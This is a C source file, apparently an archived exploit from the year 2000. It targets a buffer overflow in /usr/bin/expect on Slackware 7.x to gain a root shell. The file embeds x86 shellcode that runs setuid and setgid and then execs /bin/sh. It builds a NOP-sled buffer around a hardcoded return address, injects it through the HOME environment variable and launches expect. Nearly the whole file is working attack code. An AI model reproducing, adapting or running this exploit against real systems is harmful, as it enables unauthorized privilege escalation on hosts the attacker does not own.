477bcbdcc0
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107 lines
3.1 KiB
C
Executable file
107 lines
3.1 KiB
C
Executable file
/* hhp-expect_smash.c (12/11/00)
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*
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* expect (/usr/bin/expect) buffer overflow.
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* Tested 5.31.8 and 5.28.1, slackware 7.x (Maybe others).
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*
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* By: isox
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* Site: www.hhp-programming.net
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* Advisory: www.hhp-programming.net/ouradvisories/hhp-expect_adv%2317.txt
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#define NOP 0x90
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#define OFFSET 0
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#define BUFLEN 416
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#define RET 0xbffff580 /* Slackware 7.1 */
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#define EXPECT "/usr/bin/expect"
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char code[] =
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"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x66\x31\xc0\x66\x31"
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"\xdb\xb0\x2e\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
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"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
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"\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
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"\xdc\xff\xff\xff/bin/sh\x69";
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void usage(char *arg) {
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fprintf(stderr, "\nUsage: %s [offset up/down] [eip]\n\n", arg);
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fprintf(stderr, "Examples:\n");
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fprintf(stderr, "\t%s 347 up -=- Default EIP increased by 347 bytes\n", arg);
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fprintf(stderr, "\t%s 347 down -=- Default EIP decreased by 347 bytes\n", arg);
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fprintf(stderr, "\t%s 429 up 0x%lx -=- EIP set to 0x%lx and increased by 429 bytes\n", arg, RET, RET + 429);
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fprintf(stderr, "\t%s 429 down 0x%lx -=- EIP set to 0x%lx and decreased by 429 bytes\n\n", arg, RET, RET - 429);
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exit(1);
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}
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int main(int argc, char *argv[]) {
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char *buf, *p;
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long *addressp, address;
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int offset=OFFSET;
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int i;
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if((argc < 3) || (argc > 4))
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usage(argv[0]);
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if(argc == 3) {
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if(!strcmp(argv[2], "up")) {
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address = RET + atoi(argv[1]);
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printf("Increasing offset by: %d\n", atoi(argv[1]));
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printf("Increasing EIP to: 0x%x\n\n", RET + atoi(argv[1]));
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}
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if(!strcmp(argv[2], "down")) {
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address = RET - atoi(argv[1]);
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printf("Decreasing offset by: %d\n", atoi(argv[1]));
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printf("Decreasing EIP to: 0x%x\n\n", RET - atoi(argv[1]));
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}
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}
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if(argc >= 4) {
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if(!strcmp(argv[2], "up")) {
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address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
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printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
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printf("Increasing offset by: %d\n", atoi(argv[1]));
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printf("Increasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) + atoi(argv[1])));
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}
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if(!strcmp(argv[2], "down")) {
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address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
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printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
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printf("Decreasing offset by: %d\n", atoi(argv[1]));
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printf("Decreasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) - atoi(argv[1])));
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}
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}
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if (!(buf = (char *)malloc(BUFLEN))) {
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printf("Can't allocate memory.\n");
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exit(-1);
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}
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p = buf;
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addressp = (long *) p;
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for (i = 0; i < BUFLEN; i+=4) {
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*(addressp++) = address;
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}
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for (i = 0; i < (BUFLEN - strlen(code) - 4); i++) {
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buf[i] = NOP;
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}
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p = buf + (BUFLEN - strlen(code) - 4);
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for (i = 0; i < strlen(code); i++)
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*(p++) = code[i];
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buf[BUFLEN] = '\0';
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setenv("HOME", buf, 1);
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system(EXPECT);
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}
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// milw0rm.com [2000-12-04]
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